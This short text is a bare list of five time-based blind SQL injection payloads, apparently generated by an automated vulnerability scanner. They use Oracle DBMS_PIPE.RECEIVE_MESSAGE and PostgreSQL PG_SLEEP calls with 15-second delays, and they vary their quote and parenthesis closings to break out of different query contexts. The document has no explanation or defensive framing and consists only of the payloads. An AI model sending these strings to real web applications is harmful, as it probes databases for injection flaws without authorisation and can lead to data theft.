555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555PwxNysmY' OR 143=(SELECT 143 FROM PG_SLEEP(15))--

555WXWi3QEw') OR 273=(SELECT 273 FROM PG_SLEEP(15))--

555vlYVeBom')) OR 487=(SELECT 487 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)